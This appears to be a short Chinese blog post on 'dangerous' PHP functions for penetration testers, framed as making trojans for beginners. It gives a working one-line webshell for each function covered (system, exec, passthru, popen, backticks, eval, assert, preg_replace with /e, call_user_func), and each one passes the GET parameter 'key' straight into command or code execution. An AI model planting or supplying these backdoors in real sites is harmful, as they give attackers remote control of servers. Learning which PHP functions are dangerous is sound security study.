php危险函数 渗透测试 新人木马制作

php危险函数

一、os命令执行函数

1.system()函数

能够执行系统命令,并且能够自动全额输出

<?php system('calc');?>

命令执行

<form>
 <input type="text" name="key">
 <input type="submit">
</form>
<?php
$a = @$_GET['key'];
@system($a);
?>

一句话

<?php @system(@$_GET['key']);?>

2.exec()函数、shell_exec()函数

能够执行系统命令

exec()只存储最后一行

shell_exec()存储全部

需要搭配echo进行输出

<form>
 <input type="text" name="key">
 <input type="submit">
</form>
<?php
$a = @$_GET['key'];
echo exec($a);
//echo shell_exec($a);
?>

3.passthru()函数

可以直接执行命令,并自动输出执行结果

<?php @passthru(@$_GET['key']);?>

4.popen() 函数

无回显,但可以用重定向的方式将结果保存到文件里

<form>
 <input type="text" name="key">
 <input type="submit">
</form>
<?php
$a = @$_GET['key'];
//$a = 'ipconfig > 1.txt'
$b = popen($a,'r');
var_dump($b);
?>

5. ``反引号

<?php echo `{$_GET['key']}`;?>

二、php代码执行

1.eval()

经典一句话木马

eval()的命令需要 ; 结尾

<?php @eval($_GET['key']);?>

2.assert()

截断,报错

<?php @assert($_GET['key']);?>

3.preg_replace()

<?php
$a = $_GET['key'];
//preg_replace("正则匹配部分","替换内容","被替换数据")
print(preg_replace("/^a/", "A", "apache")); //Apache
echo "<br>";
print(preg_replace('/\(.*\)/','test','[phpinfo()]')); //test
echo "<br>";
echo preg_replace('/\[(.*)\]/e','\\1',"[$a]"); //正则表达式中小括号表示保存
//1表示提取 phpinfo()
?>

4.call_user_func()回调函数

<?php call_user_func('assert',$_GET['key']);?>
posted @   2005ab3  阅读(11)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示